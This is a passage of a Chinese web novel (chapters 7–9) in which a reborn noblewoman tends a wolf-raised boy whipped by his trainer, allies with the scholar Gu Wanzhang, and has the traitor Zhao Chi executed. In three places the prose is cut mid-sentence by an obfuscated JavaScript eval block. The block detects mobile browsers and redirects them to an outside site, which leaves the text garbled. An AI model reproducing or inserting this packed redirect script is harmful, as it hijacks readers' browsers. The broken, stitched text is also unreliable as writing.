“斗兽场里野兽死得快,总要换新,京城附近的几座山头我们都跑遍了,三个月前,在通天山找到了那片狼群,大约有十几只狼。” 季二面上甚有得色,“小人家中世代都是猎户,捉这些野兽手到擒来,因为要留着它们下场,所以很少用刀箭,基本都是挖陷阱。” 狼群出行,走在最前面的都是老弱,因为这样才能保证没有弱狼掉队,第二才是壮年狼,可以防止不测,中间是母狼和幼狼,最后是头狼,能纵观全局。 少年就和头狼走在一起。 所以当最前面的老狼掉进陷阱时,少年如果想逃,一定能逃走。 但他留下来断后,让头狼带着母狼与幼狼撤离。 姜菡萏回想起少年管着狗子们吃肉那一幕,不自觉笑了一下。 如果一直待在狼群,他应该会长成一个很好的头狼。 “场子里五六个好手栽在他手里,小人身上还留着他抓出来的伤口呐。” 季二说着还想扯开衣裳展示,被郭俊制止了。 姜菡萏:“你们那次捉了几头狼?” “五头,都是老弱,下场没几下都给斗死了。”季二笑道,“老板开始还说亏了,后来发现这狼人比狼好使,客人们都喜欢瞧个新鲜,京城就没有过这么有意思的玩意!贵人真真是有眼光!能被贵人看上,也真真是他的福气!” “去吧,记得给他上药。” “贵人慈善!” 季二果然没吹牛,没多久,郭俊便带着他来回话:“那少年已经离开狗窝回房了。” 厢房的屋顶已经修好了,少年一看就不会盖被子,郭俊照着姜菡萏的意思给屋子里加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532521|170825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了只炭盆。 同时房前屋后严密看守起来。 姜菡萏点头:“赏。” 苏妈妈忙念了一声“阿弥托佛”,今早姜菡萏喂肉的时候她可是捏着满手心的冷汗,这种事就得让这种人去干,她金尊玉贵的小姐怎么能跟个野人似的少年打交道? 她亲身来到庭中,放了赏钱。 季二领了赏,欢喜磕头。 正要退下的时候,姜菡萏忽然想起来:“上药没有?” “他现在气性大,比牛还倔,不容近身,总得过两天才能上药。”季二回道,“放心,他跟野兽一起长大,身子骨也跟野兽一样壮实,这点子伤,就算不上药,他自己也慢慢好了。” “还有一事。”郭俊道,“隔壁房中的顾大人醒了,言辞……呃……略有不敬,不知该如何处置?” 姜菡萏:“……” 这两个人还真没有一个消停的。 “继续给他用迷药。” 说着,想起来,“哦,用之前给他灌点参汤。” 可不能饿死了。 * 如今少年有驯兽师,顾晚章有迷药,张贺有哥哥,事事都有着落,姜菡萏觉得自己可以安心去炼丹了。 昨天的朱砂炼成了水银,又用水银还原成朱砂,拿在手里沉甸甸的很有份量。 原本做这些的时候她最是心无旁骛,今天却不知怎地,有点分神。 老想起少年身上的红痕,还有颈间的血迹。 傍晚时分,苏妈妈请她回去用晚饭,她坐上软轿,却不急着吃饭,命去后院。 苏妈妈现在一听“后院”两个字就皱眉头:“小姐,那两人到底是男子,您是要做皇后的人,可千万要谨言慎行,莫要授人以柄……” “妈妈,你有点啰嗦,我不爱听。”姜菡萏道,“留下吧,别跟了。” 苏妈妈留原地眼睁睁看着软轿远去,一肚子话全堵在嗓子眼里——这两日她总感觉小姐好像长大了不少,生出许多人性,敢情都是错觉。 姜菡萏刚到后院,就听见有人唱小曲。 不知是哪里的小调,荒腔走板,言辞粗俗。 府兵推开房门,原来是季二跷着脚坐在床上,就着花生米喝小酒,剥了一地的花生壳。 见到门外的阵仗,连忙下床趿鞋,垂手请安。 请安之前,不忘瞟了姜菡萏一眼。 厚厚的狐裘裹着单薄的少女,她美得像块初春时节里最后的一捧冰雪,灯火一照就要化了似的。 姜菡萏在床边看见了那名少年。 铁链的另一头拴在床柱上,少年蜷缩着,昏黄灯光下,背上的红痕似乎多了不少,地下也汪出一滩暗红的水渍。 ……那是血。 想明白这一点之后,姜菡萏从心里直透出一股寒气。 她以手叩了叩轿沿,软轿落下,她扶着阿福,走进屋内。 季二只闻见一股扑鼻的香气,还不待细闻,便听到白日里隔着帘子听过的那把脆生生的嗓音道:“给我绑了!” 季二刚想说不用绑,铁链拴着呢,下一瞬自己被府兵按倒在地,捆了个结实,顿时叫屈告饶。 少年身上岂止是多了鞭痕,他的背脊几乎一片鲜红,颈间的血现在还在往下滴,蜷缩是因为无力,脸色也是苍白至极,只有望向季二的眼神依然雪亮如刀,满是恨意。 “你就是这样让他回来的?” 姜菡萏看着的是少年,问的是季二,声音很冷。 “贵人,他就是头野兽,在场子里我们都是这么驯的啊!”季二嚷道,“他听不懂人话,讲不通道理,只有鞭子才能让他听话!驯兽,自然是把他当成兽来训啊贵人!” “谁是野兽?!”姜菡萏怒道,“这世道,百姓吃不饱穿不暖,就会变成野兽。脱掉你的衣裳,给你的颈子上套上铁链,用鞭子把你抽得一身是血,你会比他更像野兽!” 门内门外,所有下人齐齐跪了一地,噤若寒蝉——这么多年,他们从来没见主人生过这么大的气。 少年的眼珠动了动,视线从季二身上转到姜菡萏身上。 他听不懂姜菡萏在说什么,但知道姜菡萏在咆哮怒吼。 如果在狼群里,姜菡萏就像一头公正威武的头狼,正在教训季二。 7. 第 7 章 季二缩成一团,不停辩解:“都这样的,都这样的……驯兽就是这样的……” 姜菡萏终于知道自己一下午都在心神不宁是为了什么。 驯兽驯兽,他们始终是把少年当作兽! “若是此时我许你十万两黄金,要你杀死你的亲戚朋友,你会不会?你会。” 姜菡萏的语气无比肯定,因为她在上一世已经看过太多。 “而他为了保护家人落在你们手里,宁愿死也不会伤害同类,他才是人!” 生气实在太耗神,她的身体虚弱,光是这样骂一通,就把自己气得眼冒金星,赶紧让人把季二带下去关押起来。 阿福连忙扶住她:“小姐,莫要气坏了身子。” “世间就是季二这样的败类太多,才会有那么多战争纷乱,如果人人都像这少年,天下哪里乱得起来?如果他是兽,我宁愿全天下一个人都没有,全是兽!” 上辈子看过的糟心事太多了,姜菡萏说完,歇了口气,才能慢慢在少年面前蹲下。 她看着少年的眼睛:“我要帮你上药,你别咬人,行不行?” 少年眼也不眨,视线定定地落在姜菡萏身上。 明明……这么弱小…… 为什么……这么强大…… 阿福急道:“小姐千金之躯,不可犯险,让我来吧。” “本来他可以安静地待在狗窝里,是我让这季二来的,错在我。”姜菡萏说着,吩咐道,“你去拿药,再拿一盒玫瑰糖。” 药和糖很快就来了。 姜菡萏先拿出一颗糖,送到少年面前。 少年嘴角还带着血,慢慢张开嘴,含住那颗糖。 香甜滋味,盖过所有痛苦。 姜菡萏揭开药瓶的盖子:“可能会疼,你要忍忍。” 伤成这样,任何药洒上去都会疼,而一疼,兽性必然大发。 但她已经死过一次,她分得清,谁会想要她的命,谁不会。 府兵们悄悄拔刀,戒备,但少年的耳朵太灵了,刀锋出鞘的声音根本瞒不过他,一看见雪亮刀锋他便低吼着弓起身。 “都出去!”姜菡萏喝命。 众人不敢不从,但也不敢放任,只在外头守候。 阿福急得跺脚,急命人去请姜祯回来。 屋内只剩姜菡萏和少年两人,一时间变得十分安静。 姜菡萏上一世见过尸山血海的场面,却从来没有如此近距离地看过人身上的伤。 伤口仿佛也有生命,随着呼吸微微起伏。 她打开药盒,把药膏涂上去。 才碰到他脸上的一道鞭伤,“咔嚓”,少年咬碎了嘴里的糖。 “忍一忍,忍一忍就好了。” 姜菡萏发现自己的声音在颤抖,奇怪,她的脑子明明很清晰。 那道鞭伤从左额角直到右颊。 姜菡萏:“闭上眼睛。” 少年眼也不眨,仍然像看什么稀奇物件似地,盯着她瞧。 嘴里的“咔嚓”也没停,螺钿小糖盒就搁在他手边,他虽疼,但一点不耽误吃,一盒糖眼看着要吃完了。 听不懂人话真不是个事儿…… 姜菡萏叹了口气,蹲着半日腿都麻了,干脆坐地上,手指沾上药膏,轻轻涂到他脸上。 手指还没碰到的时候,少年下意识闪了一下。 “药,这是药。”姜菡萏道,“涂了药,才能好,就不疼了。” 少年听不懂,但少年看得懂她的神情,人脸上的表情比狼多很多,狼就不会有她这样明亮的眼睛,眼睛里还有一种很柔软的神情。 当她的手指再靠近的时候,少年没有再闪躲。 比药先到的,是她袖间甜馥馥的香气。 和糖一样甜,又比糖更好闻。 他闭上了眼睛。 就像第一次跟着狼群去闻山间的晨雾、去闻飞鸟的残影、去闻走兽的留痕,去闻山林的风,去闻黑夜的月。 深深呼吸,鼻子将这气味的每一丝细节都吸入肺腑。 姜菡萏的手指沾过他的眼下、鼻梁、面颊。 她发现他其实有一张很好看的面孔,从眉峰到鼻梁,线条如山峦般起伏,像是刀刻出来的一样锋利深邃,和时下推崇的男子优雅阴柔之美完全不同。 闭着的眼睫出奇的长,比女孩子的还长。 稍稍梳洗打扮,就是个英俊的小郎君呢。 脸上的伤涂完了,轮到身上的伤。 他赤着上身,遍体鳞伤,肩胛骨像是蝴蝶的翅膀,支愣着突出。 人是瘦的,却不是削瘦,而是劲瘦,每一分保留下的肌肉都充满了力量,铁一样结实。 姜菡萏顺手涂下来,指尖沾着药膏抹过他胸前的一道鞭伤,不知是不是弄疼了他,他的身体迅速绷紧,眼睛猛然睁开,迅速望向她,眸子漆黑透亮。 姜菡萏的手顿在了半空,脸后知后觉地开始发烫,她才发现,两辈子加起来,这是她第一次这样接触到男人的身体。 她深吸一口气。 救死扶伤罢了,管那许多做什么? …… 终于,露在外头的鞭伤全上好了。 但颈间的伤口却没办法上药。 她的手刚刚碰到铁圈,少年就猛地睁开了眼睛。 铁圈本有锁孔,这样才能套上去,但套上之后,锁孔就被铁水浇死了——斗兽场的人根本没有打算放开他。 姜菡萏不敢用力,这么近,她清晰地看到了铁圈里的倒刺,深深地扎在少年的皮肉里。 太残忍,她几乎不敢多看。 “我会想到办法,一定会把东西摘下来。”姜菡萏低声,像发誓。 她起身就往外走。 身后,传来少年“啊”地一声。 姜菡萏忍不住回头,这是她第一次听到少年发出人类的声音。 “啊……” 少年举起一颗糖,那是盒子里最后一颗。 他把糖递向她,眸子漆黑明亮。 昏黄灯火照耀着那颗糖,在它身上隐隐透出光泽,把它照成了一颗琥珀。 * 姜祯收到消息,急忙离席,赶回别院,直往后院冲。 然后就见姜菡萏坐在顾晚章房门前的石阶上,身后是紧闭的房门。 “哎呀夭寿啊!快起来快起来!”姜祯连拉带抱,把妹妹从石阶上扶起,然后解下自己身上的斗篷,铺上,才扶着妹妹坐下,又一次全盘点名,将跟着人的全部批评一顿,“人都死哪儿去了?一个都不在?!” 姜菡萏声音很轻:“我让他们走的,我想静一静。” 姜祯心疼:“这是遇上什么麻烦事了?那个狼人是怎么了?让你这么操心?” “不关他的事,他很好。”姜菡萏两眼直直望着前方,轻声叹道,“哥哥,这个世上,好人太少,坏人太多。” “不怕不怕,坏人一概近不了妹妹的身,哥哥会保护妹妹的。” 姜菡萏转过脸,看着姜祯:“哥哥,我想杀人。” 姜祯:“……” “杀人”这样的字眼,怎么能从他的好妹妹嘴里说出来。 “那个驯兽师季二,我想杀掉。” 姜祯:“好好好,杀杀杀。” “还有别院的副尉叫赵驰,哥你知道这个人吗?” “唔,知道,他是景夫人的表侄。——他怎么了?也干了让你想杀他的事?” 景夫人是父亲的妾室。 父亲母亲过世之后,姜菡萏长住别院,姜家主家的内宅就是景夫人当家。 姜菡萏心说难怪那么嚣张,从不把郭俊放在眼里。 “嗯,他做了很大的坏事,我知道,可是我没有证据。”姜菡萏发愁,“所以,我该怎么才能杀了他?” 妹妹向来不管闲事,能让妹妹说他做了坏事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532522|170825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那一定是很坏的事了。 姜祯深思熟虑一下:“一会儿我把他叫进屋里,摔杯为号,让郭俊带着人进去把他杀了。” 姜菡萏觉得不妥:“没有证据,杀人难以服众,何况他还有几个心腹。要不……我牺牲一下色相,说他非礼——” 话没说完,姜祯连连反对:“不可!绝对不可!” 姜菡萏其实也不是很愿意牺牲。 兄妹俩对望一阵,都有些愁眉苦脸,双双捧住脸,摇头。 “唉,杀人好难啊。” 身后“吱”地一声响,房门从里面打开,把兄妹俩吓了一跳。 顾晚章站在门后,脸色比昨天更加苍白些,他居高临下,背后是漆黑无光的室内,像个幽魂似地,一双狐狸眼微微上挑,用一种藐视一切的眼神看着兄妹俩。 “啊啊!”兄妹俩人都吓了一跳,姜祯更是忍不住嚷出来,“你是鬼啊!走路不带声的?!” 然后才反应过来:“你你你不是应该还在昏迷吗?” 顾晚章冷冷道:“就算是头猪,被人洒过一次迷药,第二次也该知道屏住呼吸了。” “……”兄妹俩互相看了一眼。他们在这方面都没什么经验,不懂。 “做个交易如何?”顾晚章道,“我帮你们光明正大杀了那个赵驰,你们放我走。” “醒了也不说一声!”姜祯指责,“你竟然偷听我们说话!” “家主大人,看看清楚,是你们二位跑到我房门前说话的。” 顾晚章嘴里唤的是“家主大人”,眼睛望着的却是姜菡萏。 他对这位姜家嫡女所有的印象,大概是“一朵被在养在姜家别院的月下徊”,昂贵、脆弱、遥远。 昨天被带进别院,则变成了——啊啊果然越尊贵的贵胄骨子里越是肮脏,大央未来的皇后,竟然以这种手段蓄男宠! 但今夜,他的想法改变了。 郭俊是个老实人,或者以为他顾晚章是个老实人,见他晕过去,竟没有再探查,就关上了房门。 然后他旁听了隔壁的全程。 “‘这世道,百姓吃不饱穿不暖,就会变成野兽’,说得好。”顾晚章道,“就冲这一句,我愿意跟你们做这个交易。说吧,成不成交?” “不成。”姜菡萏直接拒绝。 顾晚章皱眉:“若没有我,以二位的草包之姿,就算杀了此人,必定也会留下把柄。” “那又怎样?”姜菡萏问。 “……”顾晚章一时语滞。眼前这二位确实都不是特别要脸的人,身份又过于高贵,没人能拿他们怎么样。 “你留我在这里到底要干什么?”顾晚章有些恼怒,“姜小姐对一个斗兽场里出来的兽人尚且十分关爱怜惜,显然并非任意妄为之辈。顾某真心请教,小姐把顾某弄到此处,到底意欲何为?” 自然是留着你,等到将来兵祸降临,让你施展才华,力挽狂澜啊。毕竟在惠州那样的不毛之地都能筹出十万石粮草,要是身在京城,那还了得? 可惜这理由没法说出口。 而且顾晚章不知是不是因为听到了什么,神情比起昨晚要温和许多,眸子里更是隐隐有一份难得的认真。 姜菡萏想了想,道:“我不能放你走,但要是你能除去赵驰,我不会再给你用迷药。” 顾晚章盯着她,半晌后:“成交。” 话音才落,隔壁传来一声“嗷”地一声狼嚎,透着痛楚与惊慌,还夹着铁链声响。 那少年出事了! 姜菡萏连忙起身,三个人一起冲到隔壁,推开房门。 少年正在踉跄后退,他抱着手臂,左手小臂才上过药的地方,多了一道烫伤,明显的是新添的。 伤口的模样……像是炭盆烙上去的。 按伤口的角度看,他刚才是趴在炭盆上听他们说话? 他应该听不懂吧……单纯只是听见姜菡萏的声音。 8. 第 8 章 姜菡萏让守门的府兵去取烫伤药。 一面觉得,上天让她重生,也许是准备让她改行当大夫? 刚上完金创药,又上来烫伤药。 还好少年现在对她已经没什么抗拒,看见她手指沾上膏药,便乖乖伸出手臂。 姜菡萏正要上药,药盒冷不丁被姜祯夺去。 姜祯:“我来,你一个姑娘家家的,男女授受不亲……” 他的话还没说完,少年猛地嚎了一声,弓背呲牙,满脸杀气。 姜祯僵在原地,一动不敢动。 ……呜呜呜妹啊,你到底弄了个什么东西过来? “还是我来吧。”姜菡萏的手指轻轻落下,像微风拂过花瓣,少年原本灼痛的肌肤慢慢变得清凉。 少年在灯下仰望着姜菡萏,漆黑的眸子里全是姜菡萏的倒影。 “那是炭,虽然不是火,但和火差不多。它是会伤人,但也很有用,可以取暖,可以烘衣服……。” 姜菡萏上好药,放瓷瓶的时候,猛然看见桌上的鞭子。 那是季二留下的,上面还沾着少年的血。 姜菡萏忽然拿起鞭子。 少年的眼神一凛,手臂肌肉绷紧。 下一瞬,鞭子落进炭盆里。 炭盆里先是冒出青烟,再是舔起火舌,最后迸出一团火光,把那根长鞭吞没。 少年惊奇地看着。 “看,还可以把你不喜欢的东西烧掉。” 少年不知是不是听懂了,他忽然走近,把铁链的末端放炭盆里。 “……”姜菡萏,“……这个不行。” 少年仍然一脸期待。 顾晚章站在门口,看了半晌,露出深思的表情,问姜祯:“令妹把我弄来,是因为我才高八斗,但把此人弄来,是为了什么?” 姜祯看他一眼。 很愉快地发现,状元郎开始怀疑人生了。 * 炭盆当然烧不了铁链。 但少年很执着,每天都把铁链放炭盆里烤一烤。 姜菡萏想:好吧,至少不怕火了。 这一日,姜菡萏让苏妈妈和郭俊把别院里所有下人加府兵召集到院中。 府中的厨子、马夫、杂役、仆妇、粗使丫环、侍女、乳母……加起来约有八九十人。 大央规制,郡王府兵一百,亲王府兵二百,姜家乃是开国有功的一字并肩王,有府兵五百,其中一百人分拔到别院,有校尉一人,副尉一人。 总共近二百人,从院内一直排到院外。 姜菡萏坐在廊下,身上穿着大衣裳,满襟颏貂的暖袄外头又罩了一件狐裘雪缎大斗篷,罩着雪帽,手里抱着暖炉,炉中银炭都是薰过玫瑰香。 阳光很暖,晒得她微微眯起眼。 大家都很安静,又有点好奇。姜菡萏是那种事情特别少的主人,像是供在龛上的菩萨,安静而遥远,十年间从未见过她的下人不在少数,此时都不知道要做什么。 姜菡萏喜欢看他们这个样子。 没有惊慌,没有恐惧,没有绝望。 一切尚未发生,一切还有希望。 在苏妈妈的指挥下,下人们二十人为一组,一组一组走到姜菡萏面前。 姜菡萏的目光在每个人脸上一一扫过,挑出几个人出列。 她以前有脸盲的毛病,看谁都是两只眼睛一个鼻子,分不大清楚。但死过一回,没什么毛病是治不好的,帮过她的人、害过她的人,她都记得一清二楚。 此时站出来的人一一报上姓名,有养马的老李,赶车的大牛,柴房杂役小冬,帮厨夏婆婆,还有一位赵公公,从前代家主手里就在别院看守库房,到如今已经五十多年了,白发苍苍,垂垂老矣。 “我蒙仙人入梦,你们几人的八字与我相合,从即刻起拔到我院中,月钱比照我房中的大丫环。” 姜菡萏房中有四个大丫环,不单有四两银子月钱,逢年过节的赏赐也是上上头等。 一般老百姓,二十两就能养活一大家子,如此优渥的差事简直是块巨大的馅饼,几人又惊又喜,呆了好一会儿才磕头谢恩。 没被挑上的人们有的羡慕,有的嫉妒。 苏妈妈先让下人们散了,排在后面的府兵们上前。 每一个府兵脸上都充满期待。 姜菡萏也挑了几个人。 “仙人有训,你们几位当中,有人魁星照命,当为大将军,星命正应在今夜此时。” 姜菡萏说着,打开一只精致锦匣,里面有一颗龙眼大小的蜡丸,“这是我师父炼就的九转紫金丹,我会让人放进偏院,一个时辰之后,谁拿着丹药出来,谁就是我姜家未来将要栽培的武魁。” 这几个人的下巴简直已经翘到天上去。 赵驰就在其中,又是得意又是威胁地看了郭俊一眼。 他本以为这次犯了错,挤走郭俊、升任校尉已无希望,现在看来,老天爷也要助他。 承德帝笃信道教,无论家国大小之事,必问虞仙芝。虞仙芝的话等同于圣旨,虞仙芝的丹药千金难求。 更何况,得到姜家栽培的武魁!区区校尉算什么?做到大将军都不稀奇!说不定还能裂土封王! 偌大别院只住着姜菡萏,空房子数不胜数,菡萏随便提了一间,让人把锦匣放进去。 “记住,星命只应在一人之身。” 姜菡萏提醒,“拿着丹药出来的人,只能有一个,就看你们谁能得到这份仙缘。” “是!” 赵驰等人等不及吩咐,你争我抢,冲进房中。 刚进去,还没安静上片刻,喝骂与打斗声便传来了。 郭俊躬身道:“那几人都是赵驰的同乡,入伍不及,未曾受过什么约束,恐怕容易见利忘义,会闹出人命。要不要属下带人进去照看着些吧?” 姜菡萏心说你就是这么老实,上辈子才会死在赵驰手里。 “不用,我们就在这里等着。” 赵驰没有让他们待太久。 无论是体格、身手还是城府,赵驰的那几个同乡都不如赵驰,半个时辰后,房门被一脚踹开。 赵驰浑身浴血,有同乡的血,也有他自己的血。 身后的屋子里,平日里和他称兄道弟的同乡全部都已倒下,彼此的身体里插着熟悉的兵器,个个面相狰狞,死不瞑目。 浓重的血腥气从里面透出来。 阿福等几名侍女花容失色,胆子最小的阿喜差点儿吐出来。 苏妈妈年纪最长,也没有见过这样的场合,哆哆嗦嗦道:“快、快送小姐回去。” “不,就在这里。”姜菡萏重复了一遍,“你们也都在这里,好好看着。” “哈哈哈,我赢了!” 赵驰志得意满,满脸癫狂,他双手高高捧着那只锦匣,“我魁星照命!我要飞黄腾达了!” 这一刻他的脸和上一世那个猖狂的叛徒完全重叠,那个可怕的黑夜穿透白日明亮的阳光,浓雾一样包围着姜菡萏。 “抓住他。”姜菡萏下令。 郭俊立刻带着府兵上前。 “你们干什么?!我是姜家的武魁!”赵驰大怒,他经过力战,又负了伤,已经是强弩之末,挣扎不了几下便被押到姜菡萏面前。 赵驰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532523|170825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大喊:“小姐!为何如此待我啊小姐!里面都是属下的同乡挚友,但为小姐一句话,属下说杀便杀了。属下对您忠心,日月可鉴呐!” 姜菡萏放下手炉,起身,走到他的面前。 赵驰感觉到了一丝希望,也许这一切都是这位娇小姐对他的考验,只要他能哄过这位不谙世事的小丫头,他就能—— “刷”地一声,姜菡萏拔出郭俊的佩刀。 寒光掠过赵驰的眼睛,赵驰感觉到一股由衷的恐怖——不是来自于刀,而是来自于姜菡萏的眼睛。 这双眼睛里没有一丝情绪,淡漠到极点,冰冷到极点。 赵驰看过这样的眼睛——只有杀人如麻、看惯了死亡的人,才会有这样的眼睛! 而姜菡萏只是个待字闺中的少女,每日里除了养病就是炼丹,怎么会有这样的眼神?! “姜菡萏!”他怒吼,“你耍我!你这克父克母的祸胎,你这不得好死的病秧子,你——” 刀亮的刀锋捅进赵驰的胸膛,截断了赵驰一切的声音。 只捅进了一截。 姜菡萏觉得有点可惜,刀太重了,她的力气又太小,而且鲜血顺着刀身流到她手上,腻滑,她使不上劲,握不住刀。 杀人真不容易。 她听到了苏妈妈和阿福等人的惊呼,阿喜干脆晕了过去。 但很好,惊呼可比惨叫要好听多了。 赵驰没有彻底死去,他的嘴边涌出大量血沫,喉咙里“嗬嗬”作响。 “我只是让你们当中的人带着丹药出来,没有让你杀人。真正的魁星照命,岂是滥杀无辜之辈?” 姜菡萏拔出刀,直起身。 一直围拢在她心里的那片浓雾散去,那个阴魂不散的黑夜散去,她在明亮的阳光下抬起头,“府军副尉赵驰,残杀同僚,伤天害理,罪大恶极。今以国法家法及军法诛之,就地处置,杀无赦。” 她把刀递给郭俊。 郭俊这个忠厚长者,不知前世恩怨,但知尊奉命令。 他双手接刀,手起刀落,斩断恩仇。 赵驰的人头落地,眼中犹带着不甘与怨毒。 姜菡萏低下头,深深地看着他,要把这张面孔刻进脑海里,以覆盖那一张张在她回忆中不能瞑目的脸。 ……你是第一个。 她在心里说。 啪,啪,啪。 单调的掌声在廊下响起,单人合抱粗细的廊柱后,转出长身玉立的顾晚章。 他已经换下翰林的官袍,穿一身淡青通肩大袖圆领袍,头束书生巾,乌发如墨,面白如玉。 姜菡萏一点也不奇怪他的出现。 这本身就是他的主意。 “古有二桃杀三士,今有一丹除恶贼。他们为了争夺国师的丹药而死,赵驰杀人害命,人证物证俱在,可以报诸京兆府,等到公文落实,这件事便算真正了结了。” 姜菡萏点头。 要不说读书人的心脏呢。这种事,还是得读书人来。 “只是我真没有想到,小姐的胆子这么大。” 顾晚章低头看着姜菡萏的手,这双手洁白如玉,鲜血像是揉碎的花汁,沿着她的指尖一滴一滴往下滴。 貂绒针锋柔滑如水,血珠子一沾便落,滴到她的鞋尖上。 那是一只玉色锦缎绣鞋,满绣金鲤戏荷花纹,鞋尖上缀着一颗拇指大的东珠。 东珠莹润,血迹鲜红。 顾晚章单膝下跪,掏出手帕,俯身抹去东珠上的血迹。 然后仰起头,书生巾的飘带在寒风中拂动,像蝉翼。 “小姐,你不害怕吗?” 9. 第 9 章 “怕。怎么不怕?” 姜菡萏轻声道,“可我更怕被杀。” 刀俎与鱼肉,如果一定要选一个,这一世她一定会选前者。 顾晚章缓缓起身:“小姐是金枝玉叶,处处都被护得周全,怎么有人杀得了小姐?” 从前的姜菡萏也是这样想的,她生下来就有富贵荣华,便会以为一直都能那么过下去。 “顾大人,世上没有什么是不变的,再怎么周全的保护,也会有被打破的一天。” 郭俊已经带着府兵清理场地,尸体一具一具抬出去,同时被扶出去的还有晕倒的阿喜。 所有人都脸色发白,还是苏妈妈镇定些,命人端来热水,服侍姜菡萏净手。 “看小姐拔刀的姿势,好像不是头一回杀人。但看小姐身边人的脸色,却好像是头一回看到小姐杀人。”顾晚章端详着姜菡萏,“小姐身上看来颇有些秘密,也许让我来姜家,别有深意。” 姜菡萏心说这深意自然是有的,但显然不能跟你说。 “顾大人能陪我走走吗?”她问。 顾晚章声音里透着一丝讥诮:“在下区区账房先生,当不起‘大人’二字。” 姜菡萏从善如流:“好,顾先生。” 姜家嫡女穿着绣鞋,自然不会踏雪而行,所谓“陪着走走”,就是顾晚章附轿而行。 别院太大,姜菡萏一般是坐软轿。 轿子往暖香坞去。 天气很好,天空瓦蓝,落去叶子的树木枝桠洁净。 姜菡萏坐在软轿上,一路上都在盘算,该怎么让顾晚章干活。 偌大一个人才,闲着也是白闲着。 但这人才心高气傲,等闲支使不动。 忽地,顾晚章开了口:“那便是月下徊吗?” 姜菡萏抬眼望过去,树木的院墙下,一大片明净琉璃在阳光下泛着耀眼的光,碧绿叶子与鲜红花朵在琉璃后面影影绰绰,像是仙人不小心将不属于人间的颜色泼洒了下来。 “倾国名花,千金难求,原来在姜家只能给小姐洗手。” 姜菡萏想说,不是的,还能簪花插瓶做糖做香膏,用处多着呢。 但看着顾晚章有几分冷峻的侧脸,她心中忽然有念头一动。 “若是在顾先生手里,能做什么?” “世间万物,以稀为贵,全天下独此一家的东西,拿来做什么不行?这不是一片花圃,这是一片黄金海。” 姜菡萏:“……” 她有点明白上一世顾晚章是怎么筹到那么多粮草的了。 “那,我把这片花圃交给你了?” 顾晚章一怔:“交给我?” “你是别院的账房,别院的账目生息,本就是你的差事呀。”姜菡萏道,“不一定只要黄金,也许还能换成点别的,比如粮食、军械……” 顾晚章看姜菡萏的眼神一下子变得深邃起来,若有所思:“你们姜家……是不是一直想造反?” “……”姜菡萏,“……不,先生多虑了。” * 除去赵驰,姜菡萏心里终于放下一块石头。 回到暖香坞,她睡了个长长的午觉。 醒来的时候,隐隐听见郑灵的声音。 片刻后,苏妈妈进来道:“家主大人说,他请了张贺张大人教导驯兽之术,顺便用晚膳,我这就去吩咐厨房。” 姜菡萏看看时辰,这会儿正是下午的围猎结束上半场的时候,应该一会儿就要到了。 她连忙起身,装饰齐整,带着人亲自到门口迎接。 果然才到大门,姜祯已经同张贺下轿。 姜菡萏深深一礼:“张大人。” 她敬的是张贺二十年来驻守边疆,护住大央太平。 张贺在南疆虽久,但毕竟没有亲自驯过野兽,对此道并不精通,因此再三谦辞,姜祯却十分坚持,再三恳求。 因着承德帝的态度,张贺在京中坐了一年多的冷板凳,今日却在姜家得到如此礼遇,不由有些感慨,连忙一整衣冠,还礼。 姜祯也是头一回看妹妹亲自出来迎客,生怕妹妹冻着,忙请张贺去厅上喝茶。 “小姐身负圣命,还是以驯兽为先。”张贺道,“先去看看那个少年吧。” “谢张大人。”姜菡萏道,“大人请随我来。” 下人传了软轿,还没进院门,先闻到一股什么东西被烧糊了的气息。 进去后就看见府兵们拍门的拍门,拍窗的拍窗,还有人上了房顶,正在卸瓦。 姜祯大喝一声:“怎么回事?!” 府兵擦汗回话:“回家主大人话,那小子这两日天天往炭盆里烧东西,之前我们还能看着,可今日不知道怎么就学会了锁门窗,也不知道他在烧什么!” 正说话间,几名府兵好容易把窗子敲开了,正要爬进去,里面一条铁链像长鞭一样甩出来,三四名府兵顿时摔在地上。 上面拆瓦的府兵见主人到来,正要加快速度,忽然脚踝猛然被一只手抓住,“哇哇”大叫着跌进房中。 正门处几名府兵全副装备,最前面那人甚至拿出了几十斤重的大锤,准备破门。 一向平静的后院,愣是生出了一种攻城陷地的气氛。 别宫的围猎都没这么剑拔弩张的。 “停。”姜菡萏叹了口气,“都歇歇。” 就在她最后一个字落地的时候,房门被打开了。 少年乱发下的一双眼睛亮晶晶,视线迅速在院中的人群中找到了姜菡萏,手上还拖着那个从房顶上拽下来的倒霉府兵。 “啊……啊……” 他指指那个府兵,又指指自己,还指指房内。 姜菡萏向张贺说了声“失礼”,然后就要进屋。 姜祯生怕妹妹出事,正要跟上,张贺道:“家主大人,可以留步。” 